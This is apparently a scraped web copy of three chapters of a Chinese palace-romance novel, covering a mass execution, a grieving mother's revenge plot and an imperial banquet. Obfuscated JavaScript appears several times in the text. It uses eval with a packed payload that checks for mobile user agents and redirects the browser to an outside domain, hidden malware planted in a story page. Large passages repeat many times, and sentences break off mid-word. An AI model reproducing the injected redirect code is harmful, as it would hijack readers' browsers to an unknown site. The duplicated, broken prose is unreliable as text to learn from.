恒阳公主看得称奇:“禾儿,他好像在冲你笑诶,他该不会是对你见色起意了吧?” “公主,人家不只对禾儿一个人笑,也在对我们笑啊,”春喜先一步出来打圆场,“而且他是萧家的养子,我之前在萧家见过他。” 恒阳公主还是觉得萧夜辰笑得有问题,不过听到他是萧家的养子,安心不少。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263031|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这人就算不是萧家血脉,被萧家养大那也差不到哪儿去。 不过这家世配禾儿就差远了。 更何况,萧家在清远侯身上已经有过一次惨痛教训,禾儿又被卫凌泽伤透了心,就算再嫁,应该也不会再考虑嫁给这种武夫。 队伍很快走过,镇国公还要带着一众将士进殿面圣,人群却激动得久久不肯散去,所有人都在热烈讨论着自己听闻的有关这场战事的消息。 不过好些都是道听途说的无稽之谈。 恒阳公主听了一会儿就觉得没趣,正要邀春喜和萧清禾一起回公主府,人群里突然传来惊呼:“卫大公子当真**?他这算是为国牺牲,尸首应该运回来风光大葬才是,怎么刚刚没有看到棺椁?” “你傻啊,翁州离瀚京这么远,镇国公还要跟越西王室谈判,尸体哪能保存这么长的时间,卫家现在到处挂着白幡,自然是千真万确。” “就算尸体不能等到大军一起回来,提前运回也该昭告天下才是啊,哪有偷偷摸摸送回来的,这卫大公子不会是犯什么事了吧?” 这话一出,众人立刻发挥想象猜测起来。 恒阳公主看了萧清禾一眼,沉了语气:“卫凌泽的确算得上是为国捐躯,但他小姨和小姨父为了一己之私,害了这么多百姓,还差点害得昭陵灭国,皇兄是不可能给他追封的,就连卫家子弟,接下来恐怕也都难以得到重用。” 太傅府九族皆被斩首,卫家没有受到牵连,只是短时间内不被重用已经算是陛下法外开恩了。 恒阳公主说完,有些担忧地看着萧清禾:“听说你和家里人去吊唁,被卫家轰出来了,他们还说了很多难听的话,你没事吧?” 萧清禾摇摇头,面色平静:“我与他虽然已经断情绝义,但萧家和卫家毕竟是世交,出了这样的事,萧家去吊唁是情分,卫家接不接受是他们的事。” 萧清禾看得很通透,但卫凌泽的死讯传开后,各种流言还是传开了来,甚至连春喜都不可避免被卷入其中。 第324章 满门抄斩 镇国公的庆功宴定在立冬这日。 立冬前三日,太傅府九族都被判了斩首。 得知李怀景和云晚棠在翁州做的那些事,百姓皆是拍手称快,斩首当日,城中百姓全都聚到午门观刑,许多被醒神香祸害的人还带了烂菜叶和臭鸡蛋去。 囚车刚出现,众人就激动地拥上去砸东西,嘴里还不停地叫骂着,太傅府众人全都缩成一团,根本抬不起头来。 若不是有大理寺的官差维持秩序,恐怕等不到去刑场,他们就得被围观的百姓打死。 云晚棠和一双儿女在一个囚车,两个孩子被这样的场面吓得哇哇大哭,云晚棠没有护着他们,只大声为自己辩解:“我就是个什么都不懂的后宅妇人,我不知道夫君跟越西人做了交易,更不知道那香会这样害人,我是冤枉的。” 云晚棠把所有的事都推到李怀景头上,一个劲儿地强调自己无辜又柔弱。 然而官府已贴出告示,众人根本不吃她这套 “呸!一个被窝睡不出两种人,你和你夫君一样都是黑心肠的玩意儿,要不是赚了黑心钱,你们怎么可能在翁州买地种忘忧草,太傅府又怎么可能这么兴盛奢靡,还敢喊冤枉,真是不要脸!” “大家还不知道吧,太傅府这位五夫人仗着自己长得有几分姿色,到处勾搭男人,还非要装清高,好像谁都瞧不上,私底下却到处散播驸马对她有意的传言,抹黑公主,她就是个又当又立的**!” “还有这两个孩子也不是她亲生的,她为了保持身材不走样,故意把陪嫁丫鬟送到自己夫君床上,等丫鬟生下孩子,就去母留子,生生害**两条人命呢。” 不管是翁州还是瀚京,被毒害的人都太多,云晚棠之前拼命维持的形象轰然崩塌,所有见不得人的秘密都被揭了出来。 众人不再羡慕她夫妻恩爱、儿女双全还一直年轻貌美,而是唾弃她表里不一,蛇蝎心肠。 谩骂声实在太大,云晚棠连辩解都不能,就被钉死在了耻辱柱上。 围观百姓实在太激动,囚车被堵了好久才来到刑场,从囚车上下来,所有人身上都满是烂菜叶子和臭鸡蛋,狼狈极了。 太傅府枝繁叶茂,这次要被**的足有好几百人,刑台都站不下这么多人,只能分批行刑。 云晚棠和李怀景自然在第一批。 被按着跪下后,云晚棠也还在喊冤叫屈。 她的声音沙哑,语速却极快,不断地为自己开脱辩解,希望能为自己搏一线生机。 突然,她在人群中 看到了卫家的小厮。 “阿姐!我真的什么都不知道,你我姐妹感情多年未变,我若知道这件事这么可怕,断然不会把泽儿牵扯进来的,阿姐,我和泽儿一样是无辜的啊!” 云晚棠喊得声嘶力竭,肩膀不住颤动,眼泪也扑簌簌地掉落。 马车里,云氏早就哭干了泪,她面无表情地听着,只觉得心脏像是被一只无形的大掌死死攥着,连呼吸都疼。 大理寺贴出了告示,人证物证俱在,她不敢再打包票说自己了解这个妹妹。 她今天来这里,不是念着姐妹感情来给云晚棠收尸的,她只是想不明白,她的泽儿为什么会被卷进这件事来。 就算泽儿没有把握住冬猎的机会复职,就算和萧家断亲让卫家所有人失望,可他还这么年轻,有的是时间和机会振作起来,怎么能就这样**呢? 陛下因为销魂香的事震怒不已,泽儿的尸首虽被送回,却没有妥善保存。 翁州离瀚京那么远,泽儿到家时,尸身都臭了。 更可怕的是,他身上全是伤,脖颈上的伤更是极其的狰狞可怖。 云氏无法想象,她的儿子在临死之前承受多大的痛苦。 她找了瀚京最好的敛尸人来,可不管敛尸人的技艺有多高超,都掩盖不住泽儿脖子上的伤。 这些日子所有人都在为了翁州的胜利庆贺,只有云氏夜不能寐。 只要一合上眼睛,她就听到泽儿在一声声地喊疼。 云晚棠现在说的话云氏一个字都不信。 他们夫妻俩在翁州买地种忘忧草,又制成销魂香通过瑛王卖入瀚京牟取暴利,云晚棠不可能不知情。 可她没有警醒泽儿,还让泽儿跟着李继贤一起去翁州,分明是想拉卫家一起下水。 只是她没想到,事情会这么快败露,更没想到轩辕朗竟然布了这么大一个局。 云晚棠,该死! 云氏掀开车帘,死死地看着云晚棠。 看到她,云晚棠越发激动起来,然而这会儿已临近午时,监斩官直接让人堵了云晚棠的嘴,开始宣读圣旨。 除了销魂香一事,太傅府还插手了之前的徐州**案,数罪并罚,在场的每一个人都不无辜。 很快,刽子手就位。 在云晚棠的不甘挣扎中,大刀稳稳落下,殷红的血顿时洒了一地。 整个过程,云氏的眼睛都没有眨一下。 她亲眼看着自己疼了半辈子的妹妹人头落地。 她没有丝毫心疼,只觉得畅 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263032|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 快无比。 害死泽儿的罪魁祸首,**。 但……这还不够。 她得让曹春喜也下去给泽儿陪葬。 是曹春喜非要离开卫家,扰乱了泽儿心神的,也是曹春喜故意挑拨离间,怂恿禾儿跟泽儿和离的。 更是曹春喜吹枕边风,让沈清渊故意针对泽儿,在冬猎时抢了泽儿的风头,害泽儿沦为笑柄。 泽儿接连遭受打击,才会一时糊涂染上销魂香。 曹春喜也是杀害泽儿的凶手! 行刑到一半,围观众人便被空气中的血腥味熏得不住作呕,云氏也没心思继续看下去,命令车夫离开。 回到家,刚进主院,云氏就看到了卫父。 中年丧子,还被夺了家主之位,卫父遭受的打击不比云氏小,短短数日,一头墨发已是花白,挺了大半辈子的腰也佝偻下去,像是一下子被人抽走了全部的精气神。 云氏的心却还是冷如寒冰,她连夫君都懒得唤,只淡淡开口问:“你来做什么?” 卫凌泽的尸体送回来后,卫父深受打击,回过神来,便开始指责云氏没有看顾好儿子,还扬言要休了云氏,这一次云氏没再任由卫父指责,而是丢掉体面,尖叫着扑向卫父,挠花了卫父的脸。 她不是个好母亲,卫父难道是个好父亲? 卫父不想跟云氏吵,叹了口气问:“最近城里有不少流言,是不是你让人传出去的?” 第325章 不会再踏出这里一步 卫凌泽的死讯传开后,最近几日流言四起。 有说萧家猫哭耗子假慈悲的,也有说萧清禾对卫凌泽余情未了,听到卫凌泽的死讯才发现自己还是爱着他的,甚至扬言要为了卫凌泽终身不嫁。 然而比这些流言更多的是,很多人说春喜在卫家时,其实是卫凌泽的暖床丫鬟,早就不是清白之身,甚至连她生的孩子也不是沈清渊的。 听到卫父问话,云氏当即否认:“不是,这些日子我一直忙着给泽儿操办后事,哪有时间让人传什么流言?” 云氏答得毫不犹豫,卫父面无表情,把云氏派出去做事的下人都绑了来。 这些人都是云氏身边的老人,对云氏忠心耿耿,但面对卫父,这些人也不敢撒谎,把事情全都交待出来。 那些流言的确是云氏让人传出去的。 她想先毁了春喜的名声,让春喜也尝尝好不容易爬到高处又跌落泥泞的滋味,然后再找机会杀了春喜。 但她没想到卫父这么快就发现了。 云氏知道卫父肯定会为了卫家的大局着想,让自己放弃报复,她红着眼开口:“我咽不下这口气,泽儿他死得这么惨,这些日子我根本睡不着,一闭眼就听到泽儿在喊疼,你和卫家如果怕被牵连,那就休了我,以后我做什么都和卫家无关。” 云氏语气坚决,准备豁出一切孤注一掷。 毕竟是多年夫妻,虽然前些日子闹得不可开交,但卫父也不想真的休妻,他叹着气提醒:“害死泽儿的不是曹春喜。” 云氏根本听不进去,拔高声音大声道:“是曹春喜离开卫家坏了泽儿的气运,她还怂恿禾儿跟泽儿和离,让沈清渊抢了泽儿的风头,若非如此,泽儿怎么会染上销魂香?” 说到最后一句,云氏的表情被恨意撕扯得狰狞可怖。 轩辕朗**,越西敌军也退了,而跟李怀景和云晚棠一样参与售卖销魂香的人都被官府缉拿斩首,云氏只能把恨意都转移到春喜身上。 只有恨着春喜,想着报复春喜,她才不至于崩溃**。 “可如果没有曹春喜那三年的悉心照顾,泽儿可能根本站不起来。” “如果泽儿能回来,我宁愿他一辈子都站不起来!” 说完这一句,云氏又忍不住落下泪来。 如果这世上有神明,如果有能让人死而复生的办法,不管要她付出什么代价她都愿意! 看到云氏哭,卫父也皱眉露出痛色。 他何尝不希望儿子能活过来,可人已经没了,谁也无力回 听说看这本书的人都是很幸运的,分享后你的运气会更棒 天。 “泽儿是自愿赴死的,那销魂香一旦沾染,人便废了,且瘾发之时,痛苦至极,他不想后半辈子都活在这样的痛苦之中,也不想让卫家也被满门抄斩,所以用自己的死换了卫家的安宁,你现在这样抹黑禾儿、报复曹春喜,是想让泽儿死后都不得安宁吗?” 卫父前面说的云氏还是听不进去,但最后一句话,像是刀子狠狠扎进云氏心脏。 云氏的脸色白了些,唇瓣颤抖,忍不住抬手又给了卫父一巴掌:“我每日都在抄经为泽儿祈福,希望他能安息,你什么都没做,还在这里诅咒他,你还是不是人?” 卫父没有躲,生生受了这一巴掌,而后沉沉道:“泽儿生前已经犯了很多的错,是我们没能及时拉他回头,你再继续这样下去,只会害得泽儿遗臭万年。” 云氏觉得卫父说卫凌泽死后都不得安息已经很过分了,听到遗臭万年四个字,更是崩溃不已。 她眼瞳颤动,难以置信地瞪着卫父:“泽儿犯了什么错?他瘫在床上三年,没有疯掉已经很厉害了,难道就因为他没有给卫家带来更大的荣耀,在你眼里就变得一无是处了是吗?” 眼看云氏越说越离谱,卫父冷冷打断:“为了立功,泽儿雇人杀了叶夫人和叶家二少爷,沈清渊已经掌握了所有的人证物证,你再闹下去,这件事就会被公之于众,就算泽儿**,也要背上**犯的骂名。” 云氏张了张嘴,再发不出声音。 沈清渊不是个会虚张声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她本想让虎叔抓几个传谣的人杀鸡儆猴,再亲自去会一会云氏,没想到她还没动手,卫家竟然主动出来澄清。 而且卫家澄清之后,原本传得沸沸扬扬的谣言一下子就消失得干干净净。 听完阿鲤打探的情报,春喜若有所思。 傍晚,她提前哄睡孩子,估摸着时间去大门口迎沈清渊。 第326章 夫君,我好像订过娃娃亲 “夫人怎么出来了,可是府里出了什么事?” 春喜刚走过垂花门,沈清渊就回来了。 看到她,沈清渊加快步子,来到她面前后,很自然地接过灯笼,牵住春喜的手。 明日就是立冬,夜风已带了冬日的寒意,春喜虽然出了月子,但身体还没有完全恢复,手有点儿凉。 沈清渊微微皱眉:“夫人才刚出月子,要多注意自己的身体,不管发生了什么事,都可以等我回来再处理,没必要顶着夜风出门。” 沈清渊的语气颇为严肃,但字字都透着疼惜。 春喜指尖微动,轻轻挠了挠他的掌心,柔柔道:“家里没出什么事,我就是突然发现最近我的精力好像都放在宁儿和安安身上,有些忽略夫君,所以特意来迎迎夫君。” 宁儿出生之前,安安已经激发了春喜的母性,但她并不觉得自己会把所有的心思都扑在孩子身上,宁儿出生后,春喜的心态却大不相同了。 虽然府里有奶娘,还有李嬷嬷和章嬷嬷帮忙照看孩子,但好多事她都舍不得假手他人,而且沈清渊回来后,她嘴里聊的全都是孩子。 白日带孩子累了,夜里她就犯困厉害,和沈清渊说不上几句话就睡了。 仔细想想,这一个多月,她和沈清渊之间似乎只剩下孩子。 听到春喜的话,沈清渊心头发软,他动了动拇指,轻轻摩挲着春喜的手背,温声道:“我每日都要上值,能陪孩子们的时间太少,夫人多花些精力陪着他们是应该的,只是夫人的身体还没有完全恢复,凡事都要量力而行,不能累到自己。” 夜风寒凉,但沈清渊掌心温暖,高大的身躯更是帮春喜挡住了大半的风。 春喜弯了眼眸,上前一步跟他贴在一起,故意问:“夫君近日可有听到什么不好的传言?” “未曾,最近御史台很忙,我没闲工夫听什么传言,”沈清渊说完偏头看春喜,“可是府里有人在夫人面前乱嚼舌根?” 沈清渊的语气还是温和的,眸底却已不自觉透出威压,他已下令不许府里的人信谣传谣,若还有人到春喜面前嚼舌根,他是绝对不会轻饶的。 “没有人嚼舌根,是我自己无意中听到的,不过卫家今日出面澄清了,那些谣言也都跟着消散,夫君可知是何人在暗中帮我,他该不会是喜欢我吧?” 春喜仰头看着沈清渊,说到最后一句话,眼睛弯成月牙,满脸促狭。 沈清渊放心下来,一身威压收敛,眉眼也染上温柔:“此人能想夫人所想,提前为夫人 解忧,必然是很喜欢夫人的。” “我这都生完孩子了,还有人如此爱慕我,夫君就不担心我被人拐跑了去?” 春喜很是得意,险些要笑出声来。 “不担心。” 沈清渊还是一本正经,不等春喜再开口,一把揽住她的腰肢,俯身吻下来。 自春喜怀孕,沈清渊便恢复了禁欲状态。 两人平时虽然还是有肢体接触,但再没有更近一步,一开始沈清渊只是想浅尝辄止,吻着吻着,便有些控制不住。 一吻作罢,春喜呼吸不畅地红了脸,身子也跟着发软,揪着沈清渊的衣领才勉强站住。 沈清渊的呼吸也很沉,他喉结滚动,好半晌才平复下去,然后接着刚刚的话题道:“有人爱慕夫人,说明为夫眼光好,若是夫人被拐跑了,那一定是为夫不够好,才被比了下去,为夫应该自我反省才是,怪不得夫人。” 春喜没再开玩笑,环住沈清渊的脖子坚定道:“在我心里,夫君是天底下最最好的人,谁也不能比过夫君,我这辈子下辈子生生世世都只喜欢夫君一人!” 春喜的脸红扑扑的,唇也红润泛光,说出来的话更是悦耳极了,沈清渊好不容易压下去的火气复又涌上来。 他箍紧春喜的腰,哑声道:“夫人的身子还没完全恢复,安分点儿,别在这个时候招我,再正直的君子饿久了也禁不起夫人这样折腾。” “哦,”春喜点点头,而后又道,“夫君的意思是,等我恢复好了,就可以随便折腾,对吗?” 春喜满脸认真,甚至还有两分期待。 沈清渊的眸子暗了又暗,沉沉道:“对,等夫人恢复好了,想怎么折腾为夫都行。” 到时候夫人不想折腾都不行。 第二日立冬,宫里办了盛大的宴席为镇国公庆功。 镇国公已升无可升,陛下提拔了他的两个儿子。 萧夜辰取了轩辕朗的首级立下头功,获封青麟将军,赐黄金千两,良田百亩,并着工部为其督造将军府。 沈清渊断水有功,且想办法保住了大半的秋收收成,同样赐黄金千两,但因为他升为御史中丞还不到一年,陛下并没有急着再给他升职,而是追封其生母萧氏为诰命夫人。 军中其他副将还有工部的官员也都**行赏。 等所有人赏赐完,礼官高声叫到恒阳公主、春喜和萧清禾。 她们和恒阳公主一起研究了很多能帮助香瘾发作的人熬过去的法子,并且毫不吝啬地交给了太医院,也算是大功 一件。 恒阳公主加封裕安大长公主,赐鸾凤车架,五品以下的官员见到恒阳公主都要行礼问安。 萧清禾获封清韵县主,食邑三百,春喜则得了三品夫人的诰命。 圣旨一出,满堂道贺,那些原本瞧不起春喜的人,这会儿都忍不住投来艳羡的目光。 这个曹春喜的命可真好啊。 她这样的出身,还给人做过丫鬟,却嫁给了一位如意郎君,一举得子不说,还白捡个闺女,如今没了公爹公婆压着,又沾着公主的光得了诰命,谁能有她的日子好过? 春喜肩背挺直,坦然接受着众人的打量。 她比谁都明白,今日的一切荣光和赞许并非靠老天眷顾,而是她自己一点点努力得来的。 成婚之前,她承诺过会尽心尽力做好沈夫人。 如今,她终于可以跟大人并肩。 正想着,沈清渊递来酒杯:“夫人,恭喜。” 春喜接过酒杯和沈清渊轻轻一碰,在清脆的碰撞声中弯眸道:“夫君,同喜。” 实在高兴,春喜多喝了两杯,到家时是被沈清渊抱下马车的。 她嘀嘀咕咕小声跟沈清渊说着话,耳边突然传来一道伤感又不可置信的声音:“阿喜,你真的成婚了?” 循声望去,一个长相清俊的男子正站在不远处,哀怨地看着他们。 春喜眼皮一跳,然后就听见沈清渊问:“夫人,这位公子是谁?” “……” 夫君,我好像忘记说了,我爹之前给我订过一门娃娃亲来着。 一件。 恒阳公主加封裕安大长公主,赐鸾凤车架,五品以下的官员见到恒阳公主都要行礼问安。 萧清禾获封清韵县主,食邑三百,春喜则得了三品夫人的诰命。 圣旨一出,满堂道贺,那些原本瞧不起春喜的人,这会儿都忍不住投来艳羡的目光。 这个曹春喜的命可真好啊。 她这样的出身,还给人做过丫鬟,却嫁给了一位如意郎君,一举得子不说,还白捡个闺女,如今没了公爹公婆压着,又沾着公主的光得了诰命,谁能有她的日子好过? 春喜肩背挺直,坦然接受着众人的打量。 她比谁都明白,今日的一切荣光和赞许并非靠老天眷顾,而是她自己一点点努力得来的。 成婚之前,她承诺过会尽心尽力做好沈夫人。 如今,她终于可以跟大人并肩。 正想着,沈清渊递来酒杯:“夫人,恭喜。” 春喜接过酒杯和沈清渊轻轻一碰,在清脆的碰撞声中弯眸道:“夫君,同喜。” 实在高兴,春喜多喝了两杯,到家时是被沈清渊抱下马车的。 她嘀嘀咕咕小声跟沈清渊说着话,耳边突然传来一道伤感又不可置信的声音:“阿喜,你真的成婚了?” 循声望去,一个长相清俊的男子正站在不远处,哀怨地看着他们。 春喜眼皮一跳,然后就听见沈清渊问:“夫人,这位公子是谁?” “……” 夫君,我好像忘记说了,我爹之前给我订过一门娃娃亲来着。 一件。 恒阳公主加封裕安大长公主,赐鸾凤车架,五品以下的官员见到恒阳公主都要行礼问安。 萧清禾获封清韵县主,食邑三百,春喜则得了三品夫人的诰命。 圣旨一出,满堂道贺,那些原本瞧不起春喜的人,这会儿都忍不住投来艳羡的目光。 这个曹春喜的命可真好啊。 她这样的出身,还给人做过丫鬟,却嫁给了一位如意郎君,一举得子不说,还白捡个闺女,如今没了公爹公婆压着,又沾着公主的光得了诰命,谁能有她的日子好过? 春喜肩背挺直,坦然接受着众人的打量。 她比谁都明白,今日的一切荣光和赞许并非靠老天眷顾,而是她自己一点点努力得来的。 成婚之前,她承诺过会尽心尽力做好沈夫人。 如今,她终于可以跟大人并肩。 正想着,沈清渊递来酒杯:“夫人,恭喜。” 春喜接过酒杯和沈清渊轻轻一碰,在清脆的碰撞声中弯眸道:“夫君,同喜。” 实在高兴,春喜多喝了两杯,到家时是被沈清渊抱下马车的。 她嘀嘀咕咕小声跟沈清渊说着话,耳边突然传来一道伤感又不可置信的声音:“阿喜,你真的成婚了?” 循声望去,一个长相清俊的男子正站在不远处,哀怨地看着他们。 春喜眼皮一跳,然后就听见沈清渊问:“夫人,这位公子是谁?” “……” 夫君,我好像忘记说了,我爹之前给我订过一门娃娃亲来着。 一件。 恒阳公主加封裕安大长公主,赐鸾凤车架,五品以下的官员见到恒阳公主都要行礼问安。 萧清禾获封清韵县主,食邑三百,春喜则得了三品夫人的诰命。 圣旨一出,满堂道贺,那些原本瞧不起春喜的人,这会儿都忍不住投来艳羡的目光。 这个曹春喜的命可真好啊。 她这样的出身,还给人做过丫鬟,却嫁给了一位如意郎君,一举得子不说,还白捡个闺女,如今没了公爹公婆压着,又沾着公主的光得了诰命,谁能有她的日子好过? 春喜肩背挺直,坦然接受着众人的打量。 她比谁都明白,今日的一切荣光和赞许并非靠老天眷顾,而是她自己一点点努力得来的。 成婚之前,她承诺过会尽心尽力做好沈夫人。 如今,她终于可以跟大人并肩。 正想着,沈清渊递来酒杯:“夫人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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实在高兴,春喜多喝了两杯,到家时是被沈清渊抱下马车的。 她嘀嘀咕咕小声跟沈清渊说着话,耳边突然传来一道伤感又不可置信的声音:“阿喜,你真的成婚了?” 循声望去,一个长相清俊的男子正站在不远处,哀怨地看着他们。 春喜眼皮一跳,然后就听见沈清渊问:“夫人,这位公子是谁?” “……” 夫君,我好像忘记说了,我爹之前给我订过一门娃娃亲来着。 一件。 恒阳公主加封裕安大长公主,赐鸾凤车架,五品以下的官员见到恒阳公主都要行礼问安。 萧清禾获封清韵县主,食邑三百,春喜则得了三品夫人的诰命。 圣旨一出,满堂道贺,那些原本瞧不起春喜的人,这会儿都忍不住投来艳羡的目光。 这个曹春喜的命可真好啊。 